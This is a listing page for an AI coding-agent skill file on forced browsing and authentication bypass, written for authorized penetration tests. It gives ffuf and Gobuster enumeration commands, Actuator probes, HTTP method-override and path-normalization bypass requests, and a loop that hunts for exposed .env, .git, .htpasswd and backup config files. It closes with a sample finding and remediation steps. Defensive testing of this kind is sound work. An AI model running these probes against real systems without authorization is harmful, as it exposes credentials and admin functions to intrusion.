New to Claude Skills? Learn how to install them →

mukul975 on GitHub

Bypassing Authentication

Free

Identify unprotected pages and APIs during security assessments.

Get this skill

Free · Opens the source repo

What Bypassing Authentication does

The Bypassing Authentication with Forced Browsing skill is designed for security professionals conducting authorized penetration tests. It enables users to discover and access unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls. This skill is particularly useful for identifying vulnerabilities in web applications where authentication may not be consistently enforced across all endpoints.

To utilize this skill effectively, users must have a written agreement for penetration testing and the necessary tools such as ffuf and Gobuster for directory enumeration. The skill provides a structured workflow that includes steps for discovering hidden directories and files, testing administrative and debug interfaces, and verifying authentication enforcement on various endpoints. Users can automate these processes using provided scripts and commands, making it easier to identify potential security flaws.

This skill is aimed at penetration testers, security auditors, and developers who need to ensure that sensitive resources are adequately protected. By using this skill, users can validate that all application endpoints enforce proper authentication and access control measures, which is crucial for maintaining application security.

The workflow includes specific commands for enumerating hidden directories and files, testing for administrative interfaces, and checking for common vulnerabilities such as path traversal and HTTP method-based authentication bypass. With these capabilities, the skill allows security professionals to conduct thorough assessments and report findings effectively.

When to use it

Use this skill during authorized penetration tests to uncover hidden resources and validate authentication mechanisms.

When not to use it

This skill is not suitable for unauthorized testing or environments where penetration testing is not permitted.

What you can build with it

Identifying Hidden Admin Pages

Use the skill to discover unlinked administrative pages that may not be protected by authentication.

Testing API Security

Assess whether API endpoints enforce authentication consistently across all methods.

Conducting Security Audits

Validate that all sensitive resources enforce proper session validation during security audits.

How to install Bypassing Authentication

View source

1. Install with the skills CLI

npx skills add mukul975/anthropic-cybersecurity-skills/bypassing-authentication-with-forced-browsing --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by mukul975

Bypassing Authentication with Forced Browsing

When to Use

  • During authorized penetration tests to discover hidden or unprotected administrative pages
  • When testing whether authentication is consistently enforced across all application endpoints
  • For identifying backup files, configuration files, and debug interfaces left exposed in production
  • When assessing access control on API endpoints that should require authentication
  • During security audits to validate that all sensitive resources enforce session validation

Prerequisites

  • Authorization: Written penetration testing agreement covering directory enumeration
  • ffuf: Fast web fuzzer (go install github.com/ffuf/ffuf/v2@latest)
  • Gobuster: Directory brute-force tool (apt install gobuster)
  • Burp Suite: For intercepting and analyzing requests and responses
  • Wordlists: SecLists collection (git clone https://github.com/danielmiessler/SecLists.git)
  • Target access: Network connectivity and valid test credentials for authenticated comparison

Workflow

Step 1: Enumerate Hidden Directories and Files

Use ffuf or Gobuster to discover paths not linked in the application's navigation.

# Directory enumeration with ffuf
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-dirs.json -of json \
  -t 50 -rate 100

# File enumeration with common extensions
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-files.json -of json \
  -t 50 -rate 100

# Gobuster for directory enumeration
gobuster dir -u https://target.example.com \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -s "200,204,301,302,307,403" \
  -x php,asp,aspx,jsp,html \
  -o gobuster-results.txt \
  -t 50

Step 2: Discover Administrative and Debug Interfaces

Target common administrative paths and debug endpoints.

# Admin panel enumeration
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302 \
  -t 50 -rate 100

# Common admin paths to check manually:
# /admin, /administrator, /admin-panel, /wp-admin
# /cpanel, /phpmyadmin, /adminer, /manager
# /console, /debug, /actuator, /swagger-ui
# /graphql, /graphiql, /.env, /server-status

# API endpoint discovery
ffuf -u https://target.example.com/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403 \
  -fc 404 \
  -o api-results.json -of json

# Check for Spring Boot Actuator endpoints
for endpoint in env health info beans configprops mappings trace; do
  curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \
    "https://target.example.com/actuator/$endpoint"
done

Step 3: Test Authentication Enforcement on Discovered Endpoints

Compare responses between unauthenticated and authenticated requests.

# Test without authentication
curl -s -o /dev/null -w "%{http_code}" \
  "https://target.example.com/admin/dashboard"

# Test with valid session cookie
curl -s -o /dev/null -w "%{http_code}" \
  -b "session=valid_session_token_here" \
  "https://target.example.com/admin/dashboard"

# Automated check: compare response sizes
# Unauthenticated request
curl -s "https://target.example.com/admin/users" | wc -c

# Authenticated request
curl -s -b "session=valid_token" \
  "https://target.example.com/admin/users" | wc -c

# If both return similar content, authentication is not enforced

# Test with Burp Intruder: send a list of discovered URLs
# without cookies and flag any 200 responses

Step 4: Test HTTP Method-Based Authentication Bypass

Some applications only enforce authentication for specific HTTP methods.

# Test different HTTP methods on protected endpoints
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" "https://target.example.com/admin/settings"
done

# Test HTTP method override headers
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "X-HTTP-Method-Override: GET" \
  "https://target.example.com/admin/settings"

curl -s -o /dev/null -w "%{http_code}" \
  -H "X-Original-Method: GET" \
  -H "X-Rewrite-URL: /admin/settings" \
  "https://target.example.com/"

Step 5: Test Path Traversal and URL Normalization Bypass

Exploit URL parsing differences to bypass path-based authentication rules.

# Path normalization bypass attempts
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard"

# Double URL encoding
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard"

# Trailing characters
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00"

Step 6: Discover Backup and Configuration Files

Search for sensitive files inadvertently exposed on the web server.

# Backup file discovery
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \
  -mc 200 -t 50 -rate 100

# Common sensitive files
for file in .env .git/config .git/HEAD .svn/entries \
  web.config wp-config.php.bak config.php.old \
  database.yml .htpasswd server-status phpinfo.php \
  robots.txt sitemap.xml crossdomain.xml; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/$file")
  if [ "$status" != "404" ]; then
    echo "FOUND ($status): $file"
  fi
done

# Git repository exposure check
curl -s "https://target.example.com/.git/HEAD"
# If this returns "ref: refs/heads/main", the git repo is exposed

Key Concepts

ConceptDescription
Forced BrowsingDirectly accessing URLs that are not linked but exist on the server
Directory EnumerationBrute-forcing directory and file names against a wordlist to discover hidden content
Authentication BypassAccessing protected resources without valid credentials due to missing access checks
Path NormalizationExploiting differences in how web servers and application frameworks parse URL paths
Method-based BypassUsing alternative HTTP methods (PUT, DELETE) that may not have authentication checks
Information DisclosureExposure of sensitive configuration files, backups, or debug interfaces
Defense in DepthLayered security controls where authentication is enforced at multiple levels

Tools & Systems

ToolPurpose
ffufFast web fuzzer for directory, file, and parameter enumeration
GobusterDirectory and DNS brute-forcing tool written in Go
FeroxbusterRecursive content discovery tool with automatic recursion
DirBusterOWASP Java-based directory brute-force tool with GUI
Burp SuiteHTTP proxy for request interception and automated scanning
SecListsComprehensive collection of wordlists for security testing

Common Scenarios

Scenario 1: Exposed Admin Panel

An admin panel at /admin/ is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.

Scenario 2: Unprotected API Endpoints

API endpoints at /api/v1/users and /api/v1/settings require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.

Scenario 3: Backup File Containing Credentials

A developer left config.php.bak on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.

Scenario 4: Spring Boot Actuator Exposure

The /actuator/env endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.

Output Format

## Forced Browsing / Authentication Bypass Finding

**Vulnerability**: Missing Authentication on Administrative Interface
**Severity**: Critical (CVSS 9.1)
**Location**: /admin/dashboard (GET, no authentication required)
**OWASP Category**: A01:2021 - Broken Access Control

### Discovered Unprotected Resources
| Path | Status | Auth Required | Content |
|------|--------|---------------|---------|
| /admin/dashboard | 200 | No | Full admin panel |
| /admin/users | 200 | No | User management |
| /actuator/env | 200 | No | Environment variables |
| /config.php.bak | 200 | No | Database credentials |
| /.git/HEAD | 200 | No | Git repository metadata |

### Impact
- Unauthenticated access to administrative functions
- Ability to create, modify, and delete user accounts
- Exposure of database credentials and API keys
- Full source code disclosure via exposed Git repository

### Recommendation
1. Implement authentication checks at the server/middleware level for all admin routes
2. Remove backup files, debug endpoints, and version control metadata from production
3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)
4. Implement IP-based access restrictions for administrative interfaces
5. Use a reverse proxy to restrict access to internal-only endpoints

Frequently asked questions about Bypassing Authentication

Similar skills